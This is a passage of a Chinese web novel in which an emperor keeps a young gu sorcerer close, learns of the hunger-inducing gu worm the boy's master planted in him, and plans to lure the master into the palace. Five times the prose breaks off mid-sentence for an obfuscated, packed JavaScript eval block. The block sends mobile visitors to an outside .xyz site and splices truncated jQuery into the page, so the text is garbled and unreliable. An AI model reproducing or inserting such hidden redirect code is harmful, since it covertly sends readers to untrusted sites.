影巫紧张的吞咽了一下口水,不知道该如何作答。 而事实上,他也陷入了沉思。 是啊,这个问题,真的有那么要紧吗? 不管郑遂到底是谁,但他知道郑遂要做的是什么,他也只需要明白郑遂要做的是什么就够了。 而郑遂要做的,恰恰是拨乱反正。 让着混乱的世道回到本该有的节奏上,让天下心怀不轨之人得到应有的惩罚,让黎名百姓过上他们应过的日子。 所以还要紧吗? 不要紧的。 “而你现在要去替朕做的,只有一件事。”郑遂说道。 “保住徐敬意的命。” 郑遂缓缓站直身子,目光骤然一寒。 “你师父要来了,你应该知道轻重。” 影巫心下一沉,连忙郑重道:“属下明白。” 鬼师既然来了京城,一是为了韩王的命令,而便是为了他自己的谋算。 不管是哪一种,都要围着徐敬意转。 所以徐敬意这个人必须须得活着。 小院那边渐渐传来了楚王的低声痛呼,这解药果真如影巫所说,服用下去之后痛苦不堪。 短短两个时辰之内,太医和伺候楚王的那些个奴仆就往郑遂面前来了好几次。 汇报的内容也无外乎是那些药服用之后,楚王痛苦不堪,人也一直在不停抽搐着。 瞧着楚王强忍剧痛的模样,他们心中也忍不住对影巫生出了怀疑。 这到底是解药还是**? 也不知是他们这些中原人见识的太少,还是他们巫蛊师的招数实在是让常人难以理解。 总归这也要发作起来的症状,可是比他们所见过的**发作之时还要痛苦百倍。 只是如今这种情况,连影巫自己也帮不上什么忙。 鬼师之所以被称之为鬼师,就是因为他的招数诡计多端、难以预料,而且他应敌的法子,向来都是不留任何余地的。 哪怕是不要了对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287952|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性命,也会让对方生不如死。 眼下能否熬过去,也只能看楚王的命数了。 好在是十个时辰过后,小院那边终于传来了好消息。 “恭喜陛下,从一个时辰前,楚王殿下身上痛楚便逐渐消减,如今已然无恙,只是身子还有些虚弱。但请陛下放心,微臣等定会为楚王殿下调配出一个最适合其体质的药方。虽然已恢复正常人的状态,但绝对能保楚王殿下性命无虞。” 郑遂紧握的拳头终于稍稍松开,微微呼出一口气去。 点了点头:“做得好,你们只需尽心尽力地调养好楚王的身子,朕自然有嘉奖。” 楚王熬过了这一关,余下的就等他身子渐渐恢复之后,便将他接入皇宫之中了。 郑遂不宜久留,当下看过楚王之后,便带着影巫回去了。 走过密道,直奔皇宫。 一路上影巫都在探头探脑,时不时地还忍不住发出低低的惊叹。 郑遂只是偶尔回头看他一眼,轻笑一声,并不说话。 倒是王喜见郑遂堂而皇之的将影巫从密道之中引进了乾清宫中,心中略有些疑惑。 趁着影巫站在一旁的古董架子边,好奇地打量着上边的那些摆件,王喜连忙凑了过去,压低了声音轻声询问道。 “陛下,要不要奴才将影巫安排到别院去住?” 不管郑遂信任影巫与否,将他留在自己的空中,怕是不合适吧? 万一着影巫如今的单纯懵懂全都是装出来的,将他留在身边岂不是留下了一个祸患? 郑遂却轻轻摆了摆手,对着王喜指了指站在一旁的影巫。 “你瞧着他的样子,像是能有什么歹心的人吗?” 王喜瞥了两眼影巫,也忍不住挠了挠头。 像影巫这般,性子单纯之人,王喜倒也是头一回见。 或许也可能是他在宫中待久了,见过了人心叵测,见过了你争我夺,见过了人人都会算计,所以他反而是不相信世间真有如此至纯至善之人了。 心中更是忍不住生出了疑惑来,低声和郑遂咬耳朵。 “只是陛下,他到底师从鬼师,身上未免沾染了鬼师的那些恶劣习性,奴才总是觉得……” 总是觉得不安心啊…… 第122章 让他躺到龙床上? “你先去准备晚膳吧,”郑遂却岔开了这个话题。 他熬了一整天,外加大半宿的时间在楚王那里,虽然期间奴仆也送上了膳食,但是惦记着楚王终归没有什么胃口。 影巫那孩子,瞧着倒是又饿了,只是郑遂不怎么动筷子,他也没敢吃太多。 这会儿是该到吃饭的时候了。 王喜有些不解的挠挠头。 他看的出来,郑遂对影巫把控自如,并不担心影巫会生出什么不该有的心思来。 只是这突然叫自己准备晚膳,总让王喜觉得郑遂的心思好像并不全在吃饭之上。 但除此之外,王喜也说不清楚郑遂到底想干什么,便只能依照郑遂的意思,去御膳房h 自从回了宫之后,影巫基本上就被郑遂给晾了下来。 在最初对皇宫的惊奇过后,影巫忽然就有些无所适从了起来。 郑遂对他没有吩咐,也没有什么别的要求,更没有对他讲皇宫里的规矩,他就只能像跟木头桩子似的,傻楞楞的杵在那里。 不敢说话,又不敢离郑遂太近。 毕竟郑遂回了宫之后便坐在了书桌旁批奏折,他哪敢过去? 万一被扣上一顶窥探朝政的帽子怎么办? 听他那边迟迟都没有动静,郑遂这才抬起头来。 见影巫站在一旁,郑遂又忍不住笑了。 “站了这么久,难道就不觉得腿酸吗?为何不坐?” 影巫惊讶的抬起头,茫然的啊了一声。 这是他可以坐着的地方吗? 常在皇宫里伺候这些主子的人,不管是大臣还是奴仆,不都应该是跪着的? 自己竟然还能在宫里坐着,这简直想都不敢想。 郑遂只是静静的看着影巫,没有说话。 影巫愣了一会儿,感受到了郑遂的眼神,这才回过神来,忙不迭地跑到了一边稍远一些的位置坐下来。 过了不多时,王喜便带着红人鱼贯而入,将那些准备好的膳食流水一般的端上来。 郑遂这才放下手中的奏折,缓缓起身走到桌边,直到坐下,他才转头看了影巫一眼。 “为何不过来?” 影巫瞧着的满桌子的饭菜,忍不住咽了咽口水。 想走过去,却又不敢,直到留意到郑遂意味深长的眼神,才豁然想起之前郑遂说的,在他面前只需要顺从,不需要质疑。 于是,连忙奔过去,捡了离郑遂稍远的一个位置坐下。 郑遂对他微微扬了扬下巴,示意他可以吃了。 影巫这才拿起筷子,不过却没敢先动。 直到郑遂夹了一筷子菜放进嘴里,细细的咀嚼着,影巫这才敢小心翼翼地吃了起来。 王喜在一旁看得眼珠子都快瞪出来了。 郑遂已经下至要封徐妍为皇后了,下个月就是封后大典。 但在这般情况之下,徐妍都不敢与郑遂同桌用饭,郑遂却要允许影巫与他坐在一块儿吃饭? 这葫芦又是卖的什么药啊? 甚至他还眼睁睁地看到了郑遂给影巫加了一筷子菜。 此等殊荣放在从前,别说是亲眼所见了,就连听都没有听说过。 直到在旁边看了好一会儿,王喜才渐渐看出了门路来。 这影巫怎么好像吃不饱似的? 一开始的时候,影巫似乎还顾及着规矩,一直在细嚼慢咽,可是慢慢地,他就不由自主地加快了速度,但看着到却不像是他放开了。 于是极为诡异的一幕就出现在了王喜的眼前。 这影巫明显满脸都写满了顾虑,可就是停不下手中的筷子,眨眼之间,桌上摆的满满当当的膳食就已经被他吃了足足一大半。 而郑遂却缓缓放下了筷子,看向影巫的目光也逐渐沉了下来。 正当王喜在心中惊疑不定时,就见影巫忽然手一松,筷子啪的一声掉在了地上。 紧接着,影巫就捂着自己的肚子,直接从椅子上滚了下去。 “哎呦,哎呦好疼啊……” 影巫开始控制不住的在地上打起了过来,这可把王喜给吓坏了。 不会是有人下毒了吧? 这宫中的膳食被从御膳房端出来的那一刻起就要经过层层的检验,怎么可能? 总不能是真吃多了吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287953|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正当王子手足无措,不知道该如何处理之时,郑遂却大手一挥。 “去把太医请过来。” 王喜终于找到了主心骨似的,连滚带爬的朝着门外跑去。 影巫此刻已经痛得佝偻起了身子,在地上不停地打滚,额头上布满了冷汗,原本就不怎么健康的脸色,此刻更是变得惨白。 郑遂起身走了,过去蹲在影巫身边,伸出手握住了他的手腕。 “如何了?” “疼,真的好疼……” 影巫疼的几乎有些神志不清了,除了翻来覆去的念叨着这几个字以外,其他的什么都说不出来。 好在是王喜很快就把太医给带过来了。 太医给影巫诊了脉之后也是吓了一跳,他纠结了许久,才终于想好了说辞,连忙擦了擦冷汗,跪在郑遂的面前磕磕巴巴的回道。 “回禀陛下,这孩子……乃是积食之症。” 王喜当即就瞪大了眼睛,什么?真是吃多了? 可寻常人吃多了之后,就算是腹痛,也不至于这么难受。 而且正常人吃多了会吐,影巫却就这么生生扛着? 他好歹也是个半大少年,难道连这点常识都不明白吗? 郑遂的脸色沉了下去,对太医道:“你继续说。” 太医紧张的咽了一下口水,才继续回禀道:“不过他的症状确实是要比寻常重上一些,这、这微臣也不知道是怎么回事……如今只能想办法,给他服下药去,让他先催吐,再开一些消食的方子,这症状便能缓解了。” 郑遂嗯了一声,微微点了点头。 随即挥手,让太医下去配药。 听着门关的声音,王喜紧张的走上前来。 “那,陛下……” “先把他抬到里头去,让他好好躺着。” 王喜倒吸了一口凉气。 是他疯了,还是耳朵聋了? 郑遂是让他把影巫抬到郑遂自己的床榻之上吗? 王喜不禁转头看了影巫一眼。 这小孩子身上究竟有什么魔力,竟然能让郑遂允准他躺到龙床之上? 第123章 这可不妙啊 但是看着影巫已经痛到几乎抽搐,王喜心中当下也没了太多的思量,赶紧就叫来了两个小太监,七手八脚的把影巫抬到了龙床之上。 太医很快就配来了消食的药,郑遂大手一挥,让王喜一点点的把那药给影巫喂了下去。 一直到过了许久,影巫腹中的绞痛才终于缓和了些许,脸色也不再那么难看了。 可是他脸上的表情却变得极为古怪了起来。 片刻之后,他有些茫然的挠了挠头。 “我刚才为什么会这样?” 王喜疑惑的看了一眼影巫,不禁倒吸了一口凉气。 难不成,连影巫自己都不知道,他为何会吃突然那么多的东西吗? 郑遂皱着眉看着影巫,沉默了片刻之后,才开口问道:“你从前也是这个样子吗?” 他这个样子,的确是不像从来没有吃过饱饭,才会在进食的时候如此不受控。 影巫苦笑了一声,抬头看向郑遂。 一字一顿的说道:“如果我告诉陛下,我从小到大,都没有体会过何为吃饱的感觉,并不是因为我没有吃过一顿饱饭,而是我天生就没有这样的能力,您相信吗?” 郑遂眼中闪过了一抹惊愕,不过影巫的确是没有必要在这种事上和自己说谎,于是点了点头。 “朕相信,不过,为什么?” “自然是我的好师父动的手脚。“”影巫垂下了眼睛。 鬼师说,做他们这一行的,要时刻保持警惕。 他们所做的,向来都是一些见不得光的事。 因此,从他们被冠之以巫蛊师的称号那天起,他们的性命能不能保住,就全凭自己的本事了。 务必要有警惕之心,才能保证自己能够顺遂的活下去。 而鬼师认为,过度舒适的环境,很容易就会让人掉以轻心。 他对影巫的要求一直很高,甚至严苛到吃饱饭睡足觉这种对于人来说是生活必需的事,在鬼师的眼中都是能力低下的一种表现。 且他并不相信人的自控力,他认为,只有来源于外界的绝对的压迫才能一直让人保持清醒。 所以鬼师的对策,是炼制了一种蛊虫,将其下在人的身上。 这种蛊虫,可以时刻的让人保持饥饿感。 而饥饿,往往与人的生存息息相关。 当这种最基础的东西都不能保证的时候,人就会觉得自己时时刻刻都生活在危急之中。 并且这种蛊虫永远都不会让人体会到何为饱腹感,甚至当人吃的太多的时候,还会起到反作用。 哪怕是积食这种小事,在人的身上都会无限的放大。 郑遂听的愣住了。 他在监牢里第字次见到影巫吃东西的时候,心中就已经隐隐有了感觉,猜到了这大概就是鬼师的手笔。 但是却没有想到,鬼师竟然下手如此之狠。 他原本是想试探一下影巫的,看来还是鲁莽了。 在这种情况下,影巫根本没办法反抗鬼师,倘若他敢反抗,最好的结局也是活活撑死。 然而郑遂心中仍有一个疑惑。 影巫已经被鬼师控制了这么多年,就算是无可奈何,但想来他应该也早就习惯了这蛊虫在体内发作时的感觉,应该时时刻刻的警惕,绝对不叫其作祟才对。 所以为什么刚才忽然难以自控了呢? 很显然,这件事儿就连影巫自己也觉得奇怪的很。 在最初的茫然之后,影巫闭上眼睛,屏息凝神,搭上了自己的脉搏。 郑遂也不再说话,静静的等待着影巫的反应。 忽然,影巫脸色一定,猛的睁开了眼。 他的表情变得极为难看了起来,有一种要哭不哭的感觉。 僵持了片刻之后,影巫的眸中忽然闪过了一丝恨意。 虽然转瞬即逝,但却还是被郑遂给捕捉到了。 “如何?”郑遂问道。 影巫不语,只是一直沉默着。 过了片刻之后,影巫忽然放声大笑了起来。 郑遂第字次从这个胆小懦弱的少年脸上看到近乎狰狞的表情。 他竟然失控了! 情绪的失控对于他们巫蛊师来说是大忌,即便是影巫这种性情懦弱之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287954|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,也不敢过于情绪外放。 至少从郑遂见到他开始,一直到现在,这还是第字次。 郑遂察觉到不对劲,连忙叫来一旁已经被影巫的反应吓得脸色有些发白的太医。 “他现在不对劲,你想想办法。”郑遂急切的嘱咐道。 太医已经是满头大汗! 对方可是巫蛊师,且也同样颇通医术,虽然不是专精,比不得他们这些太医院的太医,但是他们所治疗的病症之中,可不包含影巫这一种。 一时间,太医也有些束手无策。 直到耳边再次传来郑遂的催促,太医才终于回过神来。 他硬着头皮,从自己的药箱中拿出银针来。 摸准了影巫身上的几个穴位,狠狠的扎了进去。 好在是片刻之后,影巫的情绪真的稍稍平复了一些。 太医总算是松了一口气,连忙抹了一把自己头上的冷汗,转头对着郑遂道。 “陛下,微臣尽力了。他体质不同于常人,微臣只能加以控制,余下的就只能靠他自己了。” 郑遂紧紧的皱起了眉,看着影巫已经有些发青发紫的脸色,心中蓦然升起一种不祥的预感。 影巫虽然没有多说,但是郑遂隐隐也能感觉到,那种在他体内的蛊虫应该起到的不仅是一个让他长期保持饥饿感的作用。 只怕在关键时刻,鬼师也能借此对他加以控制。 目的,就是为了让影巫不背叛自己。 哪怕是他主动将影巫给推了出来,意图让他当那个替罪羊,让他替自己**,但是他也绝对不容忍影巫除了自己这个师父以外,还能另寻他途。 这个鬼师,实在可恶! 最关键的是,现在除了影巫以外,谁也不知道能控制这种蛊虫的范围最近在多远。 如果比控制楚王的距离要更近一些的话,那岂不是说,鬼师如今已经离京城越来越近了? 这可不是什么好事。 鬼师不是徐敬意,他手段颇多且,诡计多端,难以应付。 在没有做好万全的准备之前,郑遂也不能轻易出手。 第124章 他很惜命 原本以为鬼师抵达京城还需要一些时日,还能给他们留下充足的时间,但是瞧着如今的状况,只怕是情形不妙啊…… 而关键在于,唯一一个有一定实力能与鬼师较量上几个回合的,只有影巫了。 得赶紧让他清醒过来,否则体内的蛊虫发作,再加上影巫自己心中对鬼师的憎恨,怕是要气的气血翻涌,暴体而亡也是有的。 郑遂连忙大步上前,用力的按住了影巫的肩膀。 “你冷静一些。”郑遂死死的盯着影巫的眸子,一字一顿的说道。 “我知道你痛恨鬼师,但是你想逃离他的控制,前提是你得活着。否则至死,你都无法摆脱他。你师父的手段,你最为清楚,如果在你死后,他也利用你作祟,你岂不是永生永世都要活在他的控制之下吗?” 人若生前身后都是傀儡,那这一辈子,就当真是白活了 “你要记住,与其如此,不如不生。” 与其如此,不如不生…… 影巫血红的眼眸之中忽然闪过一丝清明。 他在心中反反复复的念叨着郑遂和自己说的这句话,理智竟然真的被他从怒火之中抽出了一丝。 是啊,难道他这辈子就注定如此了吗? 倘若这般,还不如让他一直做那个自出生之后就被父母抛弃的孤儿,任由他被丢在家乡的后山之上,自生自灭罢了。 最小的时候,影巫不明白为什么鬼师要这么对待自己。 但他那个时候,他并没有见识过除了鬼师的老巢以外的世界,所以他理所当然的认为,这个世界便是如此,这个世界上的人也都如同鬼师一般。 后来他随着鬼师游历四方,慢慢的见识过了越来越多的人,看过了越来越多的事。 在他隐隐有了自我的意识之后,也开始发现鬼师或许是不对的。 但是影巫给自己找了个理由,搪塞了过去。 何为对?何为错? 这世上每个人的想法都是不同的,每个人的初始之风,更是没有统一的标准。 或许像他们这样的人,本就是阴暗角落里的一条蛆,永远都无法站在阳光之下。 这也注定了,他们与世上大部分的人是不同的。 无他,只是命数而已。 而且影巫从小就知道自己是被父母抛弃,随意丢下的孩子。 如果不是鬼师当时恰好经过,将他救了下来,又一手将他抚养长大,影巫根本活不到现在。 所以对于救命恩人,他不该有反抗的心思。 既然是鬼师给了自己活在世上的资本,自己也自小拜了他当师父,那他就应该对鬼师忠心耿耿,万死不辞。 这是影巫的心里第一次生出正确的念头,但是却给了一个错误的人。 等到影巫知道,其实自己不过就是鬼师手中的一个棋子,什么所谓的大弟子,也不过是为了博得外界对自己的称赞而已,其实鬼师根本不值得他这般的时候,已经来不及了。 他发现,他似乎除了依附于鬼师以外,已无他途可走,直到他遇到郑遂。 影巫紧紧的攥住了拳头,在心中反反复复的问自己。 你真的甘心吗? 你真的甘心,这辈子只能活在鬼师的控制之下,做一个十恶不赦的恶人吗? 就算是此生也做不了人人称赞的好人,但你连做一个正常人的机会都没有了,你就情愿了? 不成!他不能就被鬼师这样控制了! 他不能任由自己这样自生自灭下去! 他要反抗,要反抗那和从小到大都一直压在他头顶的强权。 他要让鬼师明白,纵然他诡计多端,一身本领,可是对就是对,错就是错! 这个世界的本质,也不会因为他个人的想法而改变,他更不可能随意的操控所有人! 终于,影巫缓缓地冷静了下来。 纵然心中怒火仍在,但是那股翻腾的戾气却渐渐平息、平庸,直到最后成为了一潭死水。 影巫不知道自己还会不会有下一次的失控,但至少这一次,他成功了。 郑遂见到影巫的表情逐渐冷静了下来。总算是松了一口气。 他虽然不懂这些玄之又玄的事,但是心中却隐隐有种感觉。 鬼师应该是已经知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287955|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了影巫为楚王解了毒的事了。 他担心徐敬意那边也会跟着不受控,所以他想要干脆杀了影巫。 倘若如不是刚才郑遂反应快的话,只怕影巫此刻已经横死在面前了。 但郑遂心中还有一个疑问。 徐敬意身上的毒是影巫给下的,如果影巫**,不就没有人能够操控徐敬意了吗? 难道鬼师研究出来的药虫,还可以转变操控制人吗? 或者,是他自己有一身的本事,即便是没了影巫,他也有信心能操纵得了徐敬意? 反正,郑遂是不相信鬼师舍得徐敬意现在就**的。 因为不管是从郑遂的角度来讲,还是从韩王的角度来看待这件事,徐敬意都是他们双方互作交易,互相对抗对方的重要筹码。 既然鬼师也想搅进这滩浑水之中,从中牟利,那他就也不会让徐敬意轻易丢了性命。 这鬼师,一定还有后手。 郑遂和影巫对视了一眼,随即挥手让太医和王喜都下去了。 “你有话对朕说?”待到大殿内安静下来之后,郑遂才问道。 影巫艰难的点了点头。 “我从未想过,他在我体内下的蛊虫竟然还有这般作用。虽然我也知道,他不可能把自己所有的本领都毫无保留的交给我。但是如此可见,他的后手一定不少。” 即便是这一次,影巫逃过一劫,那么下一次呢? “为今之际,是得赶紧弄清楚鬼师进京的目的,还有找到对付他的办法。” “可鬼师这个人诡异刁滑,你又如何能够找到他的错处?”郑遂问道。 至少从目前来看,鬼师这个人似乎并没有什么弱点,用寻常的办法对付他,根本无法将其击垮。 “不。”影巫却摇了摇头。 “鬼师这个人虽然行事诡异无状,也没有特定的规律,但他这个人,并不是铜墙铁壁一块,他也有弱点的。” 郑遂转头看向影巫:“什么弱点?说来听听。” “鬼师这样的人,是最是惜命的,他这些年来一直在寻求长生不老之术,甚至为此练了不少丹药。” 第125章 我不想白活 “哦?”郑遂倒是颇为意外的看向影巫。 他本以为,像鬼师这样的人,是不畏惧生死的。 毕竟他日常做的事,不是和**打交道也是,让人活得生不如死。 这样的人,怎么会畏惧死亡呢? 但却恰恰相反,从某种意义上来讲,这鬼师和徐敬意的心思倒是差不多。 正是因为他们这一生所付出的太多,所以他们才恰恰更爱惜自己的性命。 用影巫的话来说,就是哪怕鬼师只是在日常不小心受了点伤,他也会精心的在伤口上敷药,甚至力求一丝伤疤都不留下。 不过这样的人,也会为了有一些是豁得出去的,比如炼制长生不老丹药。 据说自古以来,这种长生不老的药方,只有一人曾配出过。 这人算是他们巫蛊师的鼻祖。 据说他当年研发出的药方,一次就成功了。 而且他服用之后更是以肉身成圣,早早的归隐的山林去。 但据说是因为当初先祖的徒弟里,有人意图偷走药方,行不轨之事。 所以先祖就干脆带着药方一起消失了。 后世所流传的长生不老的药方全,是当年先祖的徒弟从先祖炼制丹药时的三言两语间分析出来的,后来他们又酌情加了一些别的药。 不过事实证明,这种药方并不好配制。 后续很多人都尝试过,一不出意外的,都以失败告终。 就连鬼师炼制出来的,也是一样的。 甚至还有人,为此丢了自己的性命。 鬼师算是幸运的那一个,因为在他之前已经有不少前人已经试验过了那些个会要人性命的药方,鬼师自然不会尝试,所以他也只是没有成功而已。 不过对于鬼师这样的人来说,没有成功也就等同于失败了。 所以他一直都没有放弃,势必要在自己有生之年炼制出这样的药方来。 “但即便是你们中原的道士,都应该知道炼制丹药所用的朱砂长期服用会使人慢性**,鬼师就是在拿自己的性命做试验。”影巫说道。 “他说过,如若让他垂垂老矣,孤独死去,甚至在年迈无力反抗之时,还要被那些曾经的仇人折磨,倒不如因为研制丹药而死,至少能得个痛快。” 所以这些年来,鬼师的身体也越发不济了。 若不是因为他有通天的本事,能够以药与体内的朱砂之毒相克,吊住了自己的性命,只怕他早就一命呜呼。 “你们中原的道士大夫,应该知道这朱砂之毒最怕的是什么吧?” 郑遂眯起了眼睛。 虽然他也是穿越而来的,但是这些日子以来,在皇宫里听到的趣事秘闻不少,多多少少也知道其中一些门路。 这朱砂服,用多了会使人体热。 人一旦体热,就会易怒。 鬼师性情不定,除了他本身就是这样的人以及常年炼制巫蛊导致他的性情大变以外,想来也与他服用的那些朱砂在体内发作息息相关。 鬼师即便体质特殊,但他也并非神人,正如影巫所说,是人就会有弱点。 那么,他们完全可以寻到鬼师的薄弱之处,借此将其击垮。 “看样子,见一见你这位好师父,是势在必行了。”郑遂说道。 “倘若你们能把他引入宫中来,或许我能有几分把握。”影巫说道。 正面实力,影巫自然抗衡不过。 但是鬼师这么多年来可教了影巫不少诡计多端的把戏,这都是鬼师亲口所受,影巫一直牢牢地记在心里。 他很想看一看,他那位不可一世的师父,最后会不会死在他自己的本事上? “只是如若这般的话……”郑遂转头看向影巫,没有将后边的话继续说下去。 但是影巫已然明白了郑遂的意思。 不禁微微苦笑了一声,说道:“鬼师既然对我有所隐瞒,就一定对我还有后手。至于到时候他会不会拉着我一同**,我也不清楚。” 影巫深吸一口气,从自己的怀中掏出两个药瓶来交给郑遂。 “这其中一瓶,是解药,可解徐敬意的体内之毒。另一瓶,是之前我交给禁军大哥的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287956|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是可以暂缓徐敬意症状的药物。” 虽然影巫如今也只剩下这一瓶了,但是好在经过了细致的提纯,浓度很高。 若是兑水服用,也能有一定效果,只是效果不如之前明显。 郑遂若是想控制徐敬意,便将这瓶解药给他服用,只要能够把控好节奏,那么这段时间就已经足够这郑遂做很多事了。 郑遂看着手中的药瓶,心里头忽然有些五味杂陈。 他沉默了一会儿,抬头问影巫。 “如果你因此而死,会甘心吗?” “当然不会。”影巫苦笑着说道。 谁不想好好的活着,尤其是像他这样,从来没有像人一样活过一天的人。 他好不容易才等到了郑遂,等到了这个机会,可是他还没有来得及施展,甚至还没有来得及好好体会,却因为鬼师的到来而极有可能丧失了自己的性命。 影巫心里怎么会不怨? “可是我忽然觉得,如若这样**,也未必是件憾事。” 影巫抬起头来从嘴角扯出一个笑意,虽然这笑意有些勉强,但的确是发自内心。 “我所不甘的,是我这一生都一直像一个怪物一样的活着。但是倘若能给我个机会,哪怕只有一天,我也不算是没有留下遗憾的,不是吗?” 正义二字,写下来容易,但真正参透其中的意义,一生奉为信仰,却难之又难。 影巫不认为自己是那种大爱无疆的人,也并不觉得自己能够成为那样的人。 但他不想让自己白活。 纵然青史不能留名,但他希望能有人记得自己。 郑遂闭上眼,长长的叹了口气。 这个少年虽然表面懦弱,又受了鬼师那么多年不正当思想的灌输。 但实际上她的底色却是单纯的善良的。 “今晚好好休息吧。”郑遂说道。 “时候太晚没时间给你准备新的宫殿,而且以你现在的身份也不方便露面,你就住在这里。” 影巫惊讶的看向郑遂。 这真的可以吗? 第126章 他很像一个人 影巫有些不确定地看了郑遂一眼,得到了郑遂一个肯定的眼神之后,影巫才敢相信自己没有听错。 可在得到确切的答案之后,影巫反而更加纠结了。 他有些无所适从的站在原地,片刻之后,他才终于小心翼翼的开口道。 “陛下何故对我这么好?” “嗯?”郑遂转头看了他一眼。 影巫当下竟又有些无所适从了起来,赶紧垂下了头去。 “属下……说错话了。” 郑遂忽然轻笑一声,问道:“那难道朕对你好还有错吗?” “不不不,当然没有!”影巫头摇得像拨浪鼓似的,拼命的否认。 “既然自己都没觉得有什么不好的,那就不要再问了。”郑遂说道,“你记着,朕不喜欢话太多的人。” 影巫连忙抿住了嘴唇,点头如捣蒜。 郑遂静静地看着影巫,过了片刻之后,忽然噗嗤一声笑了出来。 影巫不明所以,但也不敢多问,只能怯怯的看着郑遂。 郑遂忽地走上前来,在影巫面前站定。 影巫不禁有些紧张,身体瞬间绷得笔直。 他不明白郑遂这是何意,就只能呆愣愣的站在那里。 郑遂又忍不住被他这般模样给逗笑了:“你要是朕的儿子就好了。” “啊?”影巫震惊的抬起头来看向郑遂,简直不敢相信自己的耳朵。 郑遂竟然说,自己要是他的儿子就好了? 那岂不是皇子? 他哪里配呀! 影巫连忙慌乱的摆手:“不不不!陛下,属下实在当不起!” “朕也只是随口一说罢了。”郑遂垂下眼眸去。 脑海中忽然闪过一段记忆,只是转瞬即逝,想伸手抓住,却如掌心中的流沙,越是想要握紧,就越是流得飞快。 郑遂最终只是微微苦笑了一声,对影巫说道:“朕对你好,你不必有太大的心理负担。朕既然要用一个人,就绝对不会让他受了委屈。” 总不能又叫马儿跑,又叫马儿不吃草吧? 这天底下就没有这样的道理。 影巫思来想去,觉得郑遂说的也对,心理负担这才小了一些。 但却仍是有些惊讶。 他可不是什么普通小老百姓,他是皇帝,是天子。 抛开曾经被徐敬意控制的那段时间不谈,皇权在上,只要是郑遂想要的,又有什么得不到呢? 他要用一个人,哪怕让其**,对方也只能当做是恩赐,不能生出任何的怨怼来。 否则为什么很多皇帝都要培养死士呢? 郑遂又让自己做事,又许诺了,在他能力范围内一定让自己活着,且是高质量的活着,这让影巫越发的对郑遂感到惊讶了。 他是个天子没错,很多时候都是这样的。 他身上有太多太多属于皇帝的特质,让人无法忽视他的威严。 可是在细枝末节处,却又让人忍不住去感慨,他比起寻常的皇帝,真的要仁慈许多。 让人很难想象,他是遭遇过臣子叛变,甚至一度失去皇权的皇帝。 寻常人走到他这个地步,只怕早就开始无偏差的报复了吧。 可他偏偏没有。 这简直让影巫不知道该怎么形容郑遂才好。 思来想去,到最后心里也只剩下了两个字。 佩服。 唯有佩服。 熬了大半夜,郑遂也累了,便叫来了王喜,让他把影巫安置在了西偏殿内。 自己则是随意的梳洗了一番,就有些疲倦的躺在了床上。 这一天经历的事情太多,如今郑遂的脑子也乱的很。 直到躺在了最熟悉的被窝里,郑遂的思绪才终于稍稍清明一些。 其实有件事儿,他一直没有和影巫说。 从他今天第一眼见到影巫的时候,就莫名的觉得他身上有一种十分熟悉的感觉。 他身上的少年气,很像一个人。 那个时候郑遂并没有多想,直到影巫郑重地将那两个药瓶送到自己手中的时候,郑遂才忽然记了起来。 影巫今天和自己说的那些话,曾经也有一个人对自己说过的。 那是一个从小生活在战争区的少年,郑遂见到他的时候 